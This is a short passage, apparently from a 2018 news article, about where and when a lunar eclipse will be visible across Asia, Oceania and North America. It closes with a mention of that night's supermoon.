As Space.com reports, not everyone in the US will get to see it in full. Central and eastern Asia, Indonesia, New Zealand and parts of Australia will have a good view of the event. Alaska, Hawaii and northwest Canada will see the whole thing as well, but more eastern parts of North and Central America will have a shorter show. For example in US Mountain time (MST), the eclipse will begin at 4:48 AM, but as the full eclipse winds down, the moon will already be dipping below the horizon. For Eastern time (EST) in the US, residents in that region will see the eclipse begin at 6:48 AM and the moon will dip out of view shortly thereafter.

In other moon news, there’s a supermoon tonight. The full moon will be the closest it gets to Earth in its orbit making it appear a little bit bigger and a little bit brighter than a typical full moon. Though you probably won’t notice the difference with your bare eyes, you should still check it out. The sky is beautiful and looking up is a great way to start 2018.

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